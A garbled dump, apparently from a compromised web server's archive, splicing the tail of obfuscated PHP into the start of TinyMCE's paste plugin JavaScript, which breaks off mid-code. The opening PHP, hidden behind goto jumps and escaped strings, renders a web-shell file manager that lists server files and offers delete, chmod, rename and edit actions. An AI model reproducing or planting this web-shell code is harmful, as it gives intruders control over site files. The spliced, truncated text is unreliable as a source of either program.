aESVfENiIt: echo "\x3c\x74\x72\x20\143\x6c\141\x73\163\75\42\x66\x69\162\x73\164\x22\x3e\x3c\x74\144\76\74\x2f\x74\x64\76\x3c\x74\144\x3e\74\57\x74\144\x3e\74\164\144\x3e\x3c\57\164\144\76\74\x74\x64\76\x3c\x2f\164\144\x3e\x3c\x2f\164\x72\76"; foreach ($scandir as $file) { goto gISZjugC28; omTp7jjFTi: kZEaMvU35L: echo perms("{$path}\57{$file}"); if (!(is_writable("{$path}\x2f{$file}") || !is_readable("{$path}\57{$file}"))) { goto OtA6VsU3Qf; } echo "\x3c\57\146\x6f\156\x74\76"; OtA6VsU3Qf: goto siAVyhygbL; UwE6v2jimq: if ($size >= 1024) { goto LYtoiDR4nj; } $size = $size . "\40\113\x42"; goto QUWbhhdRHv; LYtoiDR4nj: $size = round($size / 1024, 2) . "\40\115\x42"; goto kSYnnm6KOi; kSYnnm6KOi: QUWbhhdRHv: echo "\x3c\x74\x72\76\xd\xa\15\xa\x3c\x74\144\76\x3c\x61\40\x68\162\x65\x66\75\42\77\146\x69\x6c\x65\x73\162\x63\x3d{$path}\57{$file}\46\x70\x61\x74\x68\75{$path}\x22\76{$file}\74\57\141\76\74\x2f\x74\x64\x3e\15\xa\15\xa\74\164\144\x3e\74\x63\x65\x6e\x74\x65\162\x3e" . $size . "\x3c\x2f\143\x65\156\x74\145\162\x3e\74\x2f\164\x64\x3e\15\12\15\12\74\x74\x64\x3e\x3c\x63\145\x6e\x74\x65\x72\76"; if (is_writable("{$path}\x2f{$file}")) { goto RdGWn88PS4; } if (!is_readable("{$path}\x2f{$file}")) { goto mEr5jg0xaY; } goto kZEaMvU35L; goto QOWAd_Tu0J; siAVyhygbL: echo "\x3c\x2f\x63\x65\x6e\164\145\x72\76\x3c\x2f\x74\x64\76\xd\xa\xd\12\x3c\x74\144\76\x3c\143\x65\x6e\164\145\162\76\x3c\x66\x6f\162\155\40\155\145\x74\x68\157\x64\x3d\x22\x50\x4f\123\124\x22\x20\141\x63\x74\x69\x6f\x6e\75\42\77\x6f\x70\164\x69\157\156\x26\160\141\x74\150\75{$path}\x22\x3e\15\xa\15\12\x3c\x73\145\x6c\145\143\164\40\156\141\x6d\145\x3d\42\x6f\160\164\x22\x3e\xd\xa\xd\xa\x3c\157\x70\x74\151\157\156\40\166\x61\x6c\165\x65\75\42\42\76\x3c\x2f\157\x70\164\151\157\156\x3e\15\12\15\xa\74\157\x70\164\151\x6f\156\40\166\141\x6c\165\x65\75\x22\144\145\x6c\145\x74\145\x22\x3e\x44\x65\x6c\145\x74\145\x3c\57\157\160\x74\151\157\156\x3e\xd\12\xd\xa\74\157\160\164\x69\x6f\156\40\166\141\154\x75\145\75\42\x63\x68\155\157\x64\42\x3e\103\x68\x6d\x6f\144\74\57\157\160\x74\151\157\156\x3e\xd\12\xd\xa\74\x6f\x70\164\151\157\156\x20\x76\141\154\x75\x65\x3d\42\x72\145\156\141\x6d\x65\42\76\x52\x65\x6e\x61\x6d\x65\x3c\x2f\157\x70\164\x69\157\x6e\x3e\15\xa\15\xa\74\157\160\x74\x69\x6f\x6e\40\166\x61\x6c\165\x65\75\x22\x65\144\151\x74\x22\x3e\x45\144\151\164\74\x2f\x6f\160\x74\151\157\156\x3e\xd\12\15\12\74\x2f\163\x65\154\145\x63\x74\76\xd\12\15\12\74\151\x6e\160\165\x74\40\164\171\160\145\75\42\x68\151\144\x64\145\x6e\x22\40\x6e\141\x6d\145\75\42\x74\171\x70\x65\x22\x20\x76\141\154\x75\145\75\x22\x66\x69\154\145\42\x3e\xd\xa\xd\12\x3c\x69\156\x70\165\x74\40\x74\x79\160\x65\x3d\x22\150\x69\144\x64\145\x6e\42\x20\156\x61\x6d\145\75\42\156\141\x6d\x65\42\40\166\141\x6c\x75\x65\x3d\x22{$file}\42\x3e\xd\12\15\12\x3c\151\x6e\x70\x75\x74\40\164\171\x70\x65\75\x22\x68\x69\144\144\145\x6e\x22\40\156\x61\155\x65\x3d\x22\160\141\164\x68\x22\x20\x76\141\x6c\x75\x65\75\x22{$path}\x2f{$file}\42\76\xd\xa\15\xa\74\x69\x6e\x70\165\x74\x20\x74\171\160\145\75\x22\x73\165\142\x6d\151\x74\x22\x20\166\141\x6c\165\145\75\x22\117\x6b\145\x22\x20\57\76\15\xa\15\xa\74\57\146\x6f\x72\155\x3e\x3c\57\x63\145\156\164\x65\162\76\x3c\x2f\164\x64\76\15\xa\15\xa\74\57\164\x72\x3e"; ejbdD_7eNE: goto HP7JK_SwcA; gISZjugC28: if (is_file("{$path}\x2f{$file}")) { goto hIlFkPobcj; } goto ejbdD_7eNE; hIlFkPobcj: $size = filesize("{$path}\57{$file}") / 1024; $size = round($size, 3); goto UwE6v2jimq; QOWAd_Tu0J: RdGWn88PS4: echo "\74\146\157\156\164\x20\x63\157\x6c\157\x72\75\x22\102\154\165\145\42\76"; goto kZEaMvU35L; mEr5jg0xaY: echo "\74\146\157\x6e\x74\x20\143\157\x6c\157\x72\x3d\x22\162\145\144\x22\x3e"; goto omTp7jjFTi; HP7JK_SwcA: } goto fKf1lYnGR1; J9ymCwBDA0: echo "\xd\12\xd\xa\xd\12\15\xa\15\xa\xd\12\15\xa\xd\12\xd\xa\15\12\15\xa\15\12\xd\12\xd\12\15\12\15\12\15\12\15\xa\15\12\15\xa\15\xa\xd\xa\xd\xa\15\12\xd\xa";paste/plugin.js000060400000240664151734645250007540 0ustar00(function () { var paste = (function (domGlobals) { 'use strict'; var Cell = function (initial) { var value = initial; var get = function () { return value; }; var set = function (v) { value = v; }; var clone = function () { return Cell(get()); }; return { get: get, set: set, clone: clone }; }; var global$1 = tinymce.util.Tools.resolve('tinymce.PluginManager'); var hasProPlugin = function (editor) { if (/(^|[ ,])powerpaste([, ]|$)/.test(editor.settings.plugins) && global$1.get('powerpaste')) { if (typeof domGlobals.window.console !== 'undefined' && domGlobals.window.console.log) { domGlobals.window.console.log('PowerPaste is incompatible with Paste plugin! Remove \'paste\' from the \'plugins\' option.'); } return true; } else { return false; } }; var DetectProPlugin = { hasProPlugin: hasProPlugin }; var get = function (clipboard, quirks) { return { clipboard: clipboard, quirks: quirks }; }; var Api = { get: get }; var firePastePreProcess = function (editor, html, internal, isWordHtml) { return editor.fire('PastePreProcess', { content: html, internal: internal, wordContent: isWordHtml }); }; var firePastePostProcess = function (editor, node, internal, isWordHtml) { return editor.fire('PastePostProcess', { node: node, internal: internal, wordContent: isWordHtml }); }; var firePastePlainTextToggle = function (editor, state) { return editor.fire('PastePlainTextToggle', { state: state }); }; var firePaste = function (editor, ieFake) { return editor.fire('paste', { ieFake: ieFake }); }; var Events = { firePastePreProcess: firePastePreProcess, firePastePostProcess: firePastePostProcess, firePastePlainTextToggle: firePastePlainTextToggle, firePaste: firePaste }; var shouldPlainTextInform = function (editor) { return editor.getParam('paste_plaintext_inform', true); }; var shouldBlockDrop = function (editor) { return editor.getParam('paste_block_drop', false); }; var shouldPasteDataImages = function (editor) { return editor.getParam('paste_data_images', false); }; var shouldFilterDrop = function (editor) { return editor.getParam('paste_filter_drop', true); }; var getPreProcess = function (editor) { return editor.getParam('paste_preprocess'); }; var getPostProcess = function (editor) { return editor.getParam('paste_postprocess'); }; var getWebkitStyles = function (editor) { return editor.getParam('paste_webkit_styles'); }; var shouldRemoveWebKitStyles = function (editor) { return editor.getParam('paste_remove_styles_if_webkit', true); }; var shouldMergeFormats = function (editor) { return editor.getParam('paste_merge_formats', true); }; var isSmartPasteEnabled = function (editor) { return editor.getParam('smart_paste', true); }; var isPasteAsTextEnabled = function (editor) { return editor.getParam('paste_as_text', false); }; var getRetainStyleProps = function (editor) { return editor.getParam('paste_retain_style_properties'); }; var getWordValidElements = function (editor) { var defaultValidElements = '-strong/b,-em/i,-u,-span,-p,-ol,-ul,-li,-h1,-h2,-h3,-h4,-h5,-h6,' + '-p/div,-a[href|name],sub,sup,strike,br,del,table[width],tr,' + 'td[colspan|rowspan|width],th[colspan|rowspan|width],thead,tfoot,tbody'; return editor.getParam('paste_word_valid_elements', defaultValidElements); }; var shouldConvertWordFakeLists = function (editor) { return editor.getParam('paste_convert_word_fake_lists', true); }; var shouldUseDefaultFilters = function (editor) { return editor.getParam('paste_enable_default_filters', true); }; var Settings = { shouldPlainTextInform: shouldPlainTextInform, shouldBlockDrop: shouldBlockDrop, shouldPasteDataImages: shouldPasteDataImages, shouldFilterDrop: shouldFilterDrop, getPreProcess: getPreProcess, getPostProcess: getPostProcess, getWebkitStyles: getWebkitStyles, shouldRemoveWebKitStyles: shouldRemoveWebKitStyles, shouldMergeFormats: shouldMergeFormats, isSmartPasteEnabled: isSmartPasteEnabled, isPasteAsTextEnabled: isPasteAsTextEnabled, getRetainStyleProps: getRetainStyleProps, getWordValidElements: getWordValidElements, shouldConvertWordFakeLists: shouldConvertWordFakeLists, shouldUseDefaultFilters: shouldUseDefaultFilters }; var shouldInformUserAboutPlainText = function (editor, userIsInformedState) { return userIsInformedState.get() === false && Settings.shouldPlainTextInform(editor); }; var displayNotification = function (editor, message) { editor.notificationManager.open({ text: editor.translate(message), type: 'info' }); }; var togglePlainTextPaste = function (editor, clipboard, userIsInformedState) { if (clipboard.pasteFormat.get() === 'text') { clipboard.pasteFormat.set('html'); Events.firePastePlainTextToggle(editor, false); } else { clipboard.pasteFormat.set('text'); Events.firePastePlainTextToggle(editor, true); if (shouldInformUserAboutPlainText(editor, userIsInformedState)) { displayNotification(editor, 'Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.'); userIsInformedState.set(true); } } editor.focus(); }; var Actions = { togglePlainTextPaste: togglePlainTextPaste }; var register = function (editor, clipboard, userIsInformedState) { editor.addCommand('mceTogglePlainTextPaste', function () { Actions.togglePlainTextPaste(editor, clipboard, userIsInformedState); }); editor.addCommand('mceInsertClipboardContent', function (ui, value) { if (value.content) { clipboard.pasteHtml(value.content, value.internal); } if (value.text) { clipboard.pasteText(value.text); } }); }; var Commands = { register: register }; var global$2 = tinymce.util.Tools.resolve('tinymce.Env'); var global$3 = tinymce.util.Tools.resolve('tinymce.util.Delay'); var global$4 = tinymce.util.Tools.resolve('tinymce.util.Tools'); var global$5 = tinymce.util.Tools.resolve('tinymce.util.VK'); var internalMimeType = 'x-tinymce/html'; var internalMark = ''; var mark = function (html) { return internalMark + html; }; var unmark = function (html) { return html.replace(internalMark, ''); }; var isMarked = function (html) { return html.indexOf(internalMark) !== -1; }; var InternalHtml = { mark: mark, unmark: unmark, isMarked: isMarked, internalHtmlMime: function () { return internalMimeType; } }; var global$6 = tinymce.util.Tools.resolve('tinymce.html.Entities'); var isPlainText = function (text) { return !/<(?:\/?(?!(?:div|p|br|span)>)\w+|(?:(?!(?:span style="white-space:\s?pre;?">)|br\s?\/>))\w+\s[^>]+)>/i.test(text); }; var toBRs = function (text) { return text.replace(/\r?\n/g, '
'); }; var openContainer = function (rootTag, rootAttrs) { var key; var attrs = []; var tag = '<' + rootTag; if (typeof rootAttrs === 'object') { for (key in rootAttrs) { if (rootAttrs.hasOwnProperty(key)) { attrs.push(key + '="' + global$6.encodeAllRaw(rootAttrs[key]) + '"'); } } if (attrs.length) { tag += ' ' + attrs.join(' '); } } return tag + '>'; }; var toBlockElements = function (text, rootTag, rootAttrs) { var blocks = text.split(/\n\n/); var tagOpen = openContainer(rootTag, rootAttrs); var tagClose = ''; var paragraphs = global$4.map(blocks, function (p) { return p.split(/\n/).join('
'); }); var stitch = function (p) { return tagOpen + p + tagClose; }; return paragraphs.length === 1 ? paragraphs[0] : global$4.map(paragraphs, stitch).join(''); }; var convert = function (text, rootTag, rootAttrs) { return rootTag ? toBlockElements(text, rootTag, rootAttrs) : toBRs(text); }; var Newlines = { isPlainText: isPlainText, convert: convert, toBRs: toBRs, toBlockElements: toBlockElements }; var global$7 = tinymce.util.Tools.resolve('tinymce.html.DomParser'); var global$8 = tinymce.util.Tools.resolve('tinymce.html.Serializer'); var global$9 = tinymce.util.Tools.resolve('tinymce.html.Node'); var global$a = tinymce.util.Tools.resolve('tinymce.html.Schema'); function filter(content, items) { global$4.each(items, function (v) { if (v.constructor === RegExp) { content = content.replace(v, ''); } else { content = content.replace(v[0], v[1]); } }); return content; } function innerText(html) { var schema = global$a(); var domParser = global$7({}, schema); var text = ''; var shortEndedElements = schema.getShortEndedElements(); var ignoreElements = global$4.makeMap('script noscript style textarea video audio iframe object', ' '); var blockElements = schema.getBlockElements(); function walk(node) { var name = node.name, currentNode = node; if (name === 'br') { text += '\n'; return; } if (name === 'wbr') { return; } if (shortEndedElements[name]) { text += ' '; } if (ignoreElements[name]) { text += ' '; return; } if (node.type === 3) { text += node.value; } if (!node.shortEnded) { if (node = node.firstChild) { do { walk(node); } while (node = node.next); } } if (blockElements[name] && currentNode.next) { text += '\n'; if (name === 'p') { text += '\n'; } } } html = filter(html, [//g]); walk(domParser.parse(html)); return text; } function trimHtml(html) { function trimSpaces(all, s1, s2) { if (!s1 && !s2) { return ' '; } return '\xA0'; } html = filter(html, [ /^[\s\S]*]*>\s*|\s*<\/body[^>]*>[\s\S]*$/ig, /|/g, [ /( ?)\u00a0<\/span>( ?)/g, trimSpaces ], /
/g, /
$/i ]); return html; } function createIdGenerator(prefix) { var count = 0; return function () { return prefix + count++; }; } var isMsEdge = function () { return domGlobals.navigator.userAgent.indexOf(' Edge/') !== -1; }; var Utils = { filter: filter, innerText: innerText, trimHtml: trimHtml, createIdGenerator: createIdGenerator, isMsEdge: isMsEdge }; function isWordContent(content) { return / 1) { currentListNode.attr('start', '' + start); } paragraphNode.wrap(currentListNode); } else { currentListNode.append(paragraphNode); } paragraphNode.name = 'li'; if (level > lastLevel && prevListNode) { prevListNode.lastChild.append(currentListNode); } lastLevel = level; removeIgnoredNodes(paragraphNode); trimListStart(paragraphNode, /^\u00a0+/); trimListStart(paragraphNode, /^\s*([\u2022\u00b7\u00a7\u25CF]|\w+\.)/); trimListStart(paragraphNode, /^\u00a0+/); } var elements = []; var child = node.firstChild; while (typeof child !== 'undefined' && child !== null) { elements.push(child); child = child.walk(); if (child !== null) { while (typeof child !== 'undefined' && child.parent !== node) { child = child.walk(); } } } for (var i = 0; i < elements.length; i++) { node = elements[i]; if (node.name === 'p' && node.firstChild) { var nodeText = getText(node); if (isBulletList(nodeText)) { convertParagraphToLi(node, 'ul'); continue; } if (isNumericList(nodeText)) { var matches = /([0-9]+)\./.exec(nodeText); var start = 1; if (matches) { start = parseInt(matches[1], 10); } convertParagraphToLi(node, 'ol', start); continue; } if (node._listLevel) { convertParagraphToLi(node, 'ul', 1); continue; } currentListNode = null; } else { prevListNode = currentListNode; currentListNode = null; } } } function filterStyles(editor, validStyles, node, styleValue) { var outputStyles = {}, matches; var styles = editor.dom.parseStyle(styleValue); global$4.each(styles, function (value, name) { switch (name) { case 'mso-list': matches = /\w+ \w+([0-9]+)/i.exec(styleValue); if (matches) { node._listLevel = parseInt(matches[1], 10); } if (/Ignore/i.test(value) && node.firstChild) { node._listIgnore = true; node.firstChild._listIgnore = true; } break; case 'horiz-align': name = 'text-align'; break; case 'vert-align': name = 'vertical-align'; break; case 'font-color': case 'mso-foreground': name = 'color'; break; case 'mso-background': case 'mso-highlight': name = 'background'; break; case 'font-weight': case 'font-style': if (value !== 'normal') { outputStyles[name] = value; } return; case 'mso-element': if (/^(comment|comment-list)$/i.test(value)) { node.remove(); return; } break; } if (name.indexOf('mso-comment') === 0) { node.remove(); return; } if (name.indexOf('mso-') === 0) { return; } if (Settings.getRetainStyleProps(editor) === 'all' || validStyles && validStyles[name]) { outputStyles[name] = value; } }); if (/(bold)/i.test(outputStyles['font-weight'])) { delete outputStyles['font-weight']; node.wrap(new global$9('b', 1)); } if (/(italic)/i.test(outputStyles['font-style'])) { delete outputStyles['font-style']; node.wrap(new global$9('i', 1)); } outputStyles = editor.dom.serializeStyle(outputStyles, node.name); if (outputStyles) { return outputStyles; } return null; } var filterWordContent = function (editor, content) { var retainStyleProperties, validStyles; retainStyleProperties = Settings.getRetainStyleProps(editor); if (retainStyleProperties) { validStyles = global$4.makeMap(retainStyleProperties.split(/[, ]/)); } content = Utils.filter(content, [ /
/gi, /]+id="?docs-internal-[^>]*>/gi, //gi, /<(!|script[^>]*>.*?<\/script(?=[>\s])|\/?(\?xml(:\w+)?|img|meta|link|style|\w:\w+)(?=[\s\/>]))[^>]*>/gi, [ /<(\/?)s>/gi, '<$1strike>' ], [ / /gi, '\xA0' ], [ /([\s\u00a0]*)<\/span>/gi, function (str, spaces) { return spaces.length > 0 ? spaces.replace(/./, ' ').slice(Math.floor(spaces.length / 2)).split('').join('\xA0') : ''; } ] ]); var validElements = Settings.getWordValidElements(editor); var schema = global$a({ valid_elements: validElements, valid_children: '-li[p]' }); global$4.each(schema.elements, function (rule) { if (!rule.attributes.class) { rule.attributes.class = {}; rule.attributesOrder.push('class'); } if (!rule.attributes.style) { rule.attributes.style = {}; rule.attributesOrder.push('style'); } }); var domParser = global$7({}, schema); domParser.addAttributeFilter('style', function (nodes) { var i = nodes.length, node; while (i--) { node = nodes[i]; node.attr('style', filterStyles(editor, validStyles, node, node.attr('style'))); if (node.name === 'span' && node.parent && !node.attributes.length) { node.unwrap(); } } }); domParser.addAttributeFilter('class', function (nodes) { var i = nodes.length, node, className; while (i--) { node = nodes[i]; className = node.attr('class'); if (/^(MsoCommentReference|MsoCommentText|msoDel)$/i.test(className)) { node.remove(); } node.attr('class', null); } }); domParser.addNodeFilter('del', function (nodes) { var i = nodes.length; while (i--) { nodes[i].remove(); } }); domParser.addNodeFilter('a', function (nodes) { var i = nodes.length, node, href, name; while (i--) { node = nodes[i]; href = node.attr('href'); name = node.attr('name'); if (href && href.indexOf('#_msocom_') !== -1) { node.remove(); continue; } if (href && href.indexOf('file://') === 0) { href = href.split('#')[1]; if (href) { href = '#' + href; } } if (!href && !name) { node.unwrap(); } else { if (name && !/^_?(?:toc|edn|ftn)/i.test(name)) { node.unwrap(); continue; } node.attr({ href: href, name: name }); } } }); var rootNode = domParser.parse(content); if (Settings.shouldConvertWordFakeLists(editor)) { convertFakeListsToProperLists(rootNode); } content = global$8({ validate: editor.settings.validate }, schema).serialize(rootNode); return content; }; var preProcess = function (editor, content) { return Settings.shouldUseDefaultFilters(editor) ? filterWordContent(editor, content) : content; }; var WordFilter = { preProcess: preProcess, isWordContent: isWordContent }; var preProcess$1 = function (editor, html) { var parser = global$7({}, editor.schema); parser.addNodeFilter('meta', function (nodes) { global$4.each(nodes, function (node) { return node.remove(); }); }); var fragment = parser.parse(html, { forced_root_block: false, isRootContent: true }); return global$8({ validate: editor.settings.validate }, editor.schema).serialize(fragment); }; var processResult = function (content, cancelled) { return { content: content, cancelled: cancelled }; }; var postProcessFilter = function (editor, html, internal, isWordHtml) { var tempBody = editor.dom.create('div', { style: 'display:none' }, html); var postProcessArgs = Events.firePastePostProcess(editor, tempBody, internal, isWordHtml); return processResult(postProcessArgs.node.innerHTML, postProcessArgs.isDefaultPrevented()); }; var filterContent = function (editor, content, internal, isWordHtml) { var preProcessArgs = Events.firePastePreProcess(editor, content, internal, isWordHtml); var filteredContent = preProcess$1(editor, preProcessArgs.content); if (editor.hasEventListeners('PastePostProcess') && !preProcessArgs.isDefaultPrevented()) { return postProcessFilter(editor, filteredContent, internal, isWordHtml); } else { return processResult(filteredContent, preProcessArgs.isDefaultPrevented()); } }; var process = function (editor, html, internal) { var isWordHtml = WordFilter.isWordContent(html); var content = isWordHtml ? WordFilter.preProcess(editor, html) : html; return filterContent(editor, content, internal, isWordHtml); }; var ProcessFilters = { process: process }; var pasteHtml = function (editor, html) { editor.insertContent(html, { merge: Settings.shouldMergeFormats(editor), paste: true }); return true; }; var isAbsoluteUrl = function (url) { return /^https?:\/\/[\w\?\-\/+=.&%@~#]+$/i.test(url); }; var isImageUrl = function (url) { return isAbsoluteUrl(url) && /.(gif|jpe?g|png)$/.test(url); }; var createImage = function (editor, url, pasteHtmlFn) { editor.undoManager.extra(function () { pasteHtmlFn(editor, url); }, function () { editor.insertContent(''); }); return true; }; var createLink = function (editor, url, pasteHtmlFn) { editor.undoManager.extra(function () { pasteHtmlFn(editor, url); }, function () { editor.execCommand('mceInsertLink', false, url); }); return true; }; var linkSelection = function (editor, html, pasteHtmlFn) { return editor.selection.isCollapsed() === false && isAbsoluteUrl(html) ? createLink(editor, html, pasteHtmlFn) : false; }; var insertImage = function (editor, html, pasteHtmlFn) { return isImageUrl(html) ? createImage(editor, html, pasteHtmlFn) : false; }; var smartInsertContent = function (editor, html) { global$4.each([ linkSelection, insertImage, pasteHtml ], function (action) { return action(editor, html, pasteHtml) !== true; }); }; var insertContent = function (editor, html) { if (Settings.isSmartPasteEnabled(editor) === false) { pasteHtml(editor, html); } else { smartInsertContent(editor, html); } }; var SmartPaste = { isImageUrl: isImageUrl, isAbsoluteUrl: isAbsoluteUrl, insertContent: insertContent }; var noop = function () { }; var constant = function (value) { return function () { return value; }; }; function curry(fn) { var initialArgs = []; for (var _i = 1; _i < arguments.length; _i++) { initialArgs[_i - 1] = arguments[_i]; } return function () { var restArgs = []; for (var _i = 0; _i < arguments.length; _i++) { restArgs[_i] = arguments[_i]; } var all = initialArgs.concat(restArgs); return fn.apply(null, all); }; } var never = constant(false); var always = constant(true); var none = function () { return NONE; }; var NONE = function () { var eq = function (o) { return o.isNone(); }; var call = function (thunk) { return thunk(); }; var id = function (n) { return n; }; var me = { fold: function (n, s) { return n(); }, is: never, isSome: never, isNone: always, getOr: id, getOrThunk: call, getOrDie: function (msg) { throw new Error(msg || 'error: getOrDie called on none.'); }, getOrNull: constant(null), getOrUndefined: constant(undefined), or: id, orThunk: call, map: none, each: noop, bind: none, exists: never, forall: always, filter: none, equals: eq, equals_: eq, toArray: function () { return []; }, toString: constant('none()') }; if (Object.freeze) { Object.freeze(me); } return me; }(); var some = function (a) { var constant_a = constant(a); var self = function () { return me; }; var bind = function (f) { return f(a); }; var me = { fold: function (n, s) { return s(a); }, is: function (v) { return a === v; }, isSome: always, isNone: never, getOr: constant_a, getOrThunk: constant_a, getOrDie: constant_a, getOrNull: constant_a, getOrUndefined: constant_a, or: self, orThunk: self, map: function (f) { return some(f(a)); }, each: function (f) { f(a); }, bind: bind, exists: bind, forall: bind, filter: function (f) { return f(a) ? me : NONE; }, toArray: function () { return [a]; }, toString: function () { return 'some(' + a + ')'; }, equals: function (o) { return o.is(a); }, equals_: function (o, elementEq) { return o.fold(never, function (b) { return elementEq(a, b); }); } }; return me; }; var from = function (value) { return value === null || value === undefined ? NONE : some(value); }; var Option = { some: some, none: none, from: from }; var typeOf = function (x) { if (x === null) { return 'null'; } var t = typeof x; if (t === 'object' && (Array.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'Array')) { return 'array'; } if (t === 'object' && (String.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'String')) { return 'string'; } return t; }; var isType = function (type) { return function (value) { return typeOf(value) === type; }; }; var isFunction = isType('function'); var nativeSlice = Array.prototype.slice; var map = function (xs, f) { var len = xs.length; var r = new Array(len); for (var i = 0; i < len; i++) { var x = xs[i]; r[i] = f(x, i); } return r; }; var each = function (xs, f) { for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; f(x, i); } }; var filter$1 = function (xs, pred) { var r = []; for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; if (pred(x, i)) { r.push(x); } } return r; }; var from$1 = isFunction(Array.from) ? Array.from : function (x) { return nativeSlice.call(x); }; var exports$1 = {}, module = { exports: exports$1 }; (function (define, exports, module, require) { (function (f) { if (typeof exports === 'object' && typeof module !== 'undefined') { module.exports = f(); } else if (typeof define === 'function' && define.amd) { define([], f); } else { var g; if (typeof window !== 'undefined') { g = window; } else if (typeof global !== 'undefined') { g = global; } else if (typeof self !== 'undefined') { g = self; } else { g = this; } g.EphoxContactWrapper = f(); } }(function () { return function () { function r(e, n, t) { function o(i, f) { if (!n[i]) { if (!e[i]) { var c = 'function' == typeof require && require; if (!f && c) return c(i, !0); if (u) return u(i, !0); var a = new Error('Cannot find module \'' + i + '\''); throw a.code = 'MODULE_NOT_FOUND', a; } var p = n[i] = { exports: {} }; e[i][0].call(p.exports, function (r) { var n = e[i][1][r]; return o(n || r); }, p, p.exports, r, e, n, t); } return n[i].exports; } for (var u = 'function' == typeof require && require, i = 0; i < t.length; i++) o(t[i]); return o; } return r; }()({ 1: [ function (require, module, exports) { var process = module.exports = {}; var cachedSetTimeout; var cachedClearTimeout; function defaultSetTimout() { throw new Error('setTimeout has not been defined'); } function defaultClearTimeout() { throw new Error('clearTimeout has not been defined'); } (function () { try { if (typeof setTimeout === 'function') { cachedSetTimeout = setTimeout; } else { cachedSetTimeout = defaultSetTimout; } } catch (e) { cachedSetTimeout = defaultSetTimout; } try { if (typeof clearTimeout === 'function') { cachedClearTimeout = clearTimeout; } else { cachedClearTimeout = defaultClearTimeout; } } catch (e) { cachedClearTimeout = defaultClearTimeout; } }()); function runTimeout(fun) { if (cachedSetTimeout === setTimeout) { return setTimeout(fun, 0); } if ((cachedSetTimeout === defaultSetTimout || !cachedSetTimeout) && setTimeout) { cachedSetTimeout = setTimeout; return setTimeout(fun, 0); } try { return cachedSetTimeout(fun, 0); } catch (e) { try { return cachedSetTimeout.call(null, fun, 0); } catch (e) { return cachedSetTimeout.call(this, fun, 0); } } } function runClearTimeout(marker) { if (cachedClearTimeout === clearTimeout) { return clearTimeout(marker); } if ((cachedClearTimeout === defaultClearTimeout || !cachedClearTimeout) && clearTimeout) { cachedClearTimeout = clearTimeout; return clearTimeout(marker); } try { return cachedClearTimeout(marker); } catch (e) { try { return cachedClearTimeout.call(null, marker); } catch (e) { return cachedClearTimeout.call(this, marker); } } } var queue = []; var draining = false; var currentQueue; var queueIndex = -1; function cleanUpNextTick() { if (!draining || !currentQueue) { return; } draining = false; if (currentQueue.length) { queue = currentQueue.concat(queue); } else { queueIndex = -1; } if (queue.length) { drainQueue(); } } function drainQueue() { if (draining) { return; } var timeout = runTimeout(cleanUpNextTick); draining = true; var len = queue.length; while (len) { currentQueue = queue; queue = []; while (++queueIndex < len) { if (currentQueue) { currentQueue[queueIndex].run(); } } queueIndex = -1; len = queue.length; } currentQueue = null; draining = false; runClearTimeout(timeout); } process.nextTick = function (fun) { var args = new Array(arguments.length - 1); if (arguments.length > 1) { for (var i = 1; i < arguments.length; i++) { args[i - 1] = arguments[i]; } } queue.push(new Item(fun, args)); if (queue.length === 1 && !draining) { runTimeout(drainQueue); } }; function Item(fun, array) { this.fun = fun; this.array = array; } Item.prototype.run = function () { this.fun.apply(null, this.array); }; process.title = 'browser'; process.browser = true; process.env = {}; process.argv = []; process.version = ''; process.versions = {}; function noop() { } process.on = noop; process.addListener = noop; process.once = noop; process.off = noop; process.removeListener = noop; process.removeAllListeners = noop; process.emit = noop; process.prependListener = noop; process.prependOnceListener = noop; process.listeners = function (name) { return []; }; process.binding = function (name) { throw new Error('process.binding is not supported'); }; process.cwd = function () { return '/'; }; process.chdir = function (dir) { throw new Error('process.chdir is not supported'); }; process.umask = function () { return 0; }; }, {} ], 2: [ function (require, module, exports) { (function (setImmediate) { (function (root) { var setTimeoutFunc = setTimeout; function noop() { } function bind(fn, thisArg) { return function () { fn.apply(thisArg, arguments); }; } function Promise(fn) { if (typeof this !== 'object') throw new TypeError('Promises must be constructed via new'); if (typeof fn !== 'function') throw new TypeError('not a function'); this._state = 0; this._handled = false; this._value = undefined; this._deferreds = []; doResolve(fn, this); } function handle(self, deferred) { while (self._state === 3) { self = self._value; } if (self._state === 0) { self._deferreds.push(deferred); return; } self._handled = true; Promise._immediateFn(function () { var cb = self._state === 1 ? deferred.onFulfilled : deferred.onRejected; if (cb === null) { (self._state === 1 ? resolve : reject)(deferred.promise, self._value); return; } var ret; try { ret = cb(self._value); } catch (e) { reject(deferred.promise, e); return; } resolve(deferred.promise, ret); }); } function resolve(self, newValue) { try { if (newValue === self) throw new TypeError('A promise cannot be resolved with itself.'); if (newValue && (typeof newValue === 'object' || typeof newValue === 'function')) { var then = newValue.then; if (newValue instanceof Promise) { self._state = 3; self._value = newValue; finale(self); return; } else if (typeof then === 'function') { doResolve(bind(then, newValue), self); return; } } self._state = 1; self._value = newValue; finale(self); } catch (e) { reject(self, e); } } function reject(self, newValue) { self._state = 2; self._value = newValue; finale(self); } function finale(self) { if (self._state === 2 && self._deferreds.length === 0) { Promise._immediateFn(function () { if (!self._handled) { Promise._unhandledRejectionFn(self._value); } }); } for (var i = 0, len = self._deferreds.length; i < len; i++) { handle(self, self._deferreds[i]); } self._deferreds = null; } function Handler(onFulfilled, onRejected, promise) { this.onFulfilled = typeof onFulfilled === 'function' ? onFulfilled : null; this.onRejected = typeof onRejected === 'function' ? onRejected : null; this.promise = promise; } function doResolve(fn, self) { var done = false; try { fn(function (value) { if (done) return; done = true; resolve(self, value); }, function (reason) { if (done) return; done = true; reject(self, reason); }); } catch (ex) { if (done) return; done = true; reject(self, ex); } } Promise.prototype['catch'] = function (onRejected) { return this.then(null, onRejected); }; Promise.prototype.then = function (onFulfilled, onRejected) { var prom = new this.constructor(noop); handle(this, new Handler(onFulfilled, onRejected, prom)); return prom; }; Promise.all = function (arr) { var args = Array.prototype.slice.call(arr); return new Promise(function (resolve, reject) { if (args.length === 0) return resolve([]); var remaining = args.length; function res(i, val) { try { if (val && (typeof val === 'object' || typeof val === 'function')) { var then = val.then; if (typeof then === 'function') { then.call(val, function (val) { res(i, val); }, reject); return; } } args[i] = val; if (--remaining === 0) { resolve(args); } } catch (ex) { reject(ex); } } for (var i = 0; i < args.length; i++) { res(i, args[i]); } }); }; Promise.resolve = function (value) { if (value && typeof value === 'object' && value.constructor === Promise) { return value; } return new Promise(function 